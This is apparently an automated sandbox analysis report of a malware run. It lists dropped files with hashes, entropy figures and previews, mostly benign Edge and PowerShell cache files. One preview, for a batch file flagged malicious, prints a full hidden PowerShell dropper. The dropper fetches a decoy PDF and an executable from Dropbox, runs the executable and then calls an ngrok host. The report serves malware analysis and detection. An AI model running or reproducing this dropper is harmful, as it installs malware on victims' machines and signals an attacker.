SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\downloadCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.3787834934861767
Encrypted:	false
SSDEEP:	3:ZK7q6:ZA
MD5:	DF741B3F19D9DC2621EAF973C8C9FA9D
SHA1:	F45F1D9791C05366A8A23322D497C89957E75E61
SHA-256:	6E5DDBA6D7AA3B287EA364034E1F843E4146FF92C07D8426F4A7C4B0E6435006
SHA-512:	650DE3F99038BFFBFEF41A9ACC0A06E15803550C6456D0BDEAC9EBE18AEA94AB3A0BB7D85B7A0230CE6F510F5E26FA739FE58924F355D7E3714EC37DAA4C70D2
Malicious:	false
Preview:	downloadCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\downloadCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.016654215650509
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfu62T6jozRLuLgfGBkGAeekVy8Hfjg9PIAclR1XdATNY:YWLSGTu62T6jo9LuLgfGBPAzkVj/EMl7
MD5:	C3B3779E8D918551FB0D24C6746D45AA
SHA1:	0F8BE927164959492626F9A3E7EB424B62B6EA68
SHA-256:	D4E2FAB45601E7001616EBB9EB1E31C6E600C9E3CDBCF5B90D7A2CA836457FC9
SHA-512:	1F9974737BFC6E848E009B2C3E339AB422AC91C74D78287DAEA7667BB126F9D3B10A0183E2D79B9DD065F0EBC9FAE8876BCF694A707870D01DB6767BDB827E35
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"6645a32740967c54","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":0,"expiration_time":1734462873186688}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.9971359889838975
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfu62T6jozRLuLgfGBkGAeekVy8HfzXNPIAclR1XdQ1hvYVn:YWLSGTu62T6jo9LuLgfGBPAzkVj/T8lB
MD5:	7B4DC1D55AFD90E1024369A817177653
SHA1:	915F80EF344C2D210A2267118771179C6A2A8C87
SHA-256:	C07DE06CBAC26C25B664035AA2B691622842CF301EF68CC939F885D7D63F09D3
SHA-512:	61B968064FC2C5B45838A2A604F659F3681E4936801408597036ADF9C4BEEF029B4DFFADDB105AAB4A0505151A1C2F95C00BF78993C7B50CB1F0A6BAC0E665D6
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"6645a32740967c54","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1734462869469579}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.389669793590032
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQOn:YQ3Kq9X0dMgAEiLIMn
MD5:	03B6D5E81A4DC4D4E6C27BE1E932B9D9
SHA1:	3C5EF0615314BDB136AB57C90359F1839BDD5C93
SHA-256:	73B017F7C5ECD629AD41D14147D53F7D3D070C5967E1E571811A6DB39F06EACC
SHA-512:	0037EB23CCDBDDE93CFEB7B9A223D59D0872D4EC7F5E3CA4F7767A7301E96E1AF1175980DC4F08531D5571AFB94DF789567588DEB2D6D611C57EE4CC05376547
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":15}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\aea4f565-2c11-4ca6-b0db-28fe889fd2cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	23962
Entropy (8bit):	6.048297558462993
Encrypted:	false
SSDEEP:	384:btMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwh4oQps1PjY4lC/hAP8SylvHJPdux:RMkbJrT8IeQc5d1WoQS1PjY4lyAelvpc
MD5:	D5E8DD73C6629EB7AEA4DF47FD4D2AD5
SHA1:	D6AD66BF9407219D9C561AC88A83611E36A1F2ED
SHA-256:	C1C2F805A17417A2D2C812B4FAC7111BED9AC30644396C609562B21AD67F35E1
SHA-512:	383FF63EBED9A95EB346F3052E8B79E82692B6B505B0B652EEA6B6AA8E5190220F71A00424C3C8A183A58E1E97947FA4341874F47B7A98356F509ADA47F33E95
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b320c5c9-112d-40e4-9e56-cdcae10fa1b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	23962
Entropy (8bit):	6.048270212611343
Encrypted:	false
SSDEEP:	384:btMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwh4oQps19RY4lC/hAP8SylvHJPdux:RMkbJrT8IeQc5d1WoQS19RY4lyAelvpc
MD5:	CCC1B2EF3D3F4441B997B5CA9485A5CC
SHA1:	A9CD1DFBD046B4507596291C5C2D6FE8A44DF6F1
SHA-256:	CDF12B71FDACA8D7C1DEDEADE81A77AF1E92A7F2E5771458343FA3D38751E660
SHA-512:	023DB709E4FF9752BBD64A26903648115A5196FA10685BDE69C802FD4A5FA812B15E30ADDCEBF4582236E81196A29B6E69E44FDB5860C0FD906F14941A3734D5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dd278a10-b29b-43c5-b1ff-0ae261e1bcc8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23962
Entropy (8bit):	6.048297558462993
Encrypted:	false
SSDEEP:	384:btMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwh4oQps1PjY4lC/hAP8SylvHJPdux:RMkbJrT8IeQc5d1WoQS1PjY4lyAelvpc
MD5:	D5E8DD73C6629EB7AEA4DF47FD4D2AD5
SHA1:	D6AD66BF9407219D9C561AC88A83611E36A1F2ED
SHA-256:	C1C2F805A17417A2D2C812B4FAC7111BED9AC30644396C609562B21AD67F35E1
SHA-512:	383FF63EBED9A95EB346F3052E8B79E82692B6B505B0B652EEA6B6AA8E5190220F71A00424C3C8A183A58E1E97947FA4341874F47B7A98356F509ADA47F33E95
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13378835660794183","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734362064"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.831968879609591
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxVXxl9Il8u7UnsFg/slWkGiJH/bVesbUHEdVd1rc:m8jYNUnZqWIp/bVeDEo
MD5:	C8C85474DCFD19507ECF1C74C8968751
SHA1:	5B394ABF9CFF97D2BEED670BD527EEC0704189F6
SHA-256:	9308C83909C79BDE11A911A57174531EA00CF2B4B62FB3F15668A2A984DCA2BD
SHA-512:	BD8EDD39DF0D562525573A3854EDFB09E113F85FD5E3F74FC3B74269DE3A8CE5F276B8C24907AD1ADC09FAA1472169A80E433C0857CFD1FCD6236940DF2D2A9F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.L.B.g.k.t.V.P.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.A.2.n.M.k.h.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000095551015678
Encrypted:	false
SSDEEP:	96:1YNUs7D45A8rQG+0I2aks+f1ZzVQkK1/q0uVcX+a0vCYCuSw:1psjG+yak31ZzVQ8S+lL9
MD5:	2F360DCD500595884296D7AEBC8E3A23
SHA1:	55C73021E2FAEC7EBD1C5A5915E09EBF7814B0E4
SHA-256:	8C30336CCDF079172E35122EB09F13F18EA3DEEEC42674A495B35D0937898D86
SHA-512:	74445FA30F96B18FFB06E0B07F285E676F3052BB6E79E3B997238006B063420AE03A5D8DC8DC5D4C00C26A8A70B98B265D54EBB46A374B95F299E1C102537B71
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".v.7.H.s.d.8.1.P.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.A.2.n.M.k.h.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9006514536780252
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xVRxl9Il8u7UJN0iDjH+CM/0rgZLiUFB/0adBCDefiod/vc:a1YNUT0D5crgcI5dCx
MD5:	EA2224A01C2F05EAABCBDE51C79123B8
SHA1:	02BF5035ACC33C0A197B4F8D78A1741FE4275692
SHA-256:	D3DD045CDF8BD058B1CF1DFBAC2274501A0F3C0796CD314FDE45D5850B8999D1
SHA-512:	683C1ED48ADDB845B005A29EDD42A65F1EC4DCC67661CDC6E5304D95BCE80470E3CFEB1E42795D89B08C8623EE6EB0A9AEAAA71D127B428A0CF6E9E6F8C3BEDC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".S.y.r.k.q.J.5.u.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.A.2.n.M.k.h.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	61147
Entropy (8bit):	5.077943793919534
Encrypted:	false
SSDEEP:	1536:DA1+z307j1bV3CNBQkj2Uh4iUxqaVLflJnPvlOSHkqdxJfSb7OdBYNPzqtAHkwN7:01+z30n1bV3CNBQkj2UqiUqaVLflJnPa
MD5:	95B7548D8D8DDBAB0877BFC7F500503D
SHA1:	894B9735A30AE067FF88622B4F9C8EDF36997F6F
SHA-256:	D6C8E2EF650282C5B78D4CB89DE7FA47D0AC7A3818250101A2418B793D7C4BBA
SHA-512:	B552E36B17A92C584B269C73A9888AC67D19C28326EF39B7F1611CB6756B112BD113A9815EAB3BC6B51A6DBEFE4680C7532DD5D4F4102791BBB2021E4DDD8E54
Malicious:	false
Preview:	PSMODULECACHE.\...I.\.%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:NlllulHlilh:NllU0
MD5:	11C7104307B84841DED2F647EFC27B1B
SHA1:	04321F29EBD61667A55C11F6611CDD6BAB40D93D
SHA-256:	23855A334F15AABC7DDEB39534D5E6D3BCD1CC64C3B8F0184C1E9C90D4E0F7D1
SHA-512:	90B8CCD396581393500166C0E9B7148868F7514162871DFE99BCBBE3C95977DCE7F87FF9A421C2EB42A99ECA7CA6F186D92C972B0D51C30D38F476DFB87397EE
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\280339642.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (787), with CRLF line terminators
Category:	dropped
Size (bytes):	804
Entropy (8bit):	5.656823304371442
Encrypted:	false
SSDEEP:	12:0G89YrII4wvt/ZTt5AfSZ3vG3JkdhdE/1MnzPWFrNG3Jkalb6CR3dJgZ1MngfG3g:0G/j59O3JQE2qtE3J/Lgwg+3Dh+1
MD5:	86800D3E18F2FBB379F2286E6ACA948C
SHA1:	BC5262DCC06DEAD67F674CEDCCBAF11EF548F212
SHA-256:	39468666E7809BD1962090EC81680956CC7EEFCFA829A18DA826B3881A94A3D4
SHA-512:	8F03883052200E207E042ACAC2624B7CD396313927E599C75EC91F5D2AC6B85D54FA263DCC535AC6B06A902F4203F6510F6F8C8C9A7B53AA50992F61FD23BF07
Malicious:	true
Preview:	@echo off..powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"..exit

C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3112960
Entropy (8bit):	7.036931381849887
Encrypted:	false
SSDEEP:	49152:FbS+D+uYNUOMuWrBqF6PNoBBbmGut2oFO7wgiuJmNq4ArwRQfnae5DH53MZF35X+:QuYNUOGDt2oA80mNn8/
MD5:	B26B89DA53213C4EC12949A83806B611
SHA1:	50D5428B1F7DED2CEEE8C9F43DF55EF4FCACD71E
SHA-256:	9972A48CA10901031E099FF992A2A677E9673322E471E478C34CDB6798B89C3E
SHA-512:	483C5C064EF18295E25CEDAE806A8B679B0F81D50052519F25A8E8301055EEDFE32967A822EFD7E3AF6EBBD3974824B1DE464F2183C85EC7E5CC0535C4780FA2
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......6..trm.'rm.'rm.'ae.'um.'wa.'^m.'wa.'.m.'wa.'pm.'&N.'sm.'.e.'tm.'ae.'pm.'.M.'bm.'.e.'`m.'.N.'.m.'rm.'^l.'.N.'qm.'.N.'?m.'.M.'sm.'rm.'zm.'wa.'{l.'.f.'sm.'wa.'sm.'Richrm.'........PE..L......C.................@...0......Q4.......P....@..........................P................=.......................................o..a..........................@U...............................................P..,............................text....:.......@.................. ..`.rdata.......P.......P..............@..@.data.....P.........................@....data1........o....... .............@....rsrc....a....o..p.... .............@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5002d0c6-a313-4df1-8f37-cf95f7653a68.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\529abff5-7e54-44a5-a288-67feec315782.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
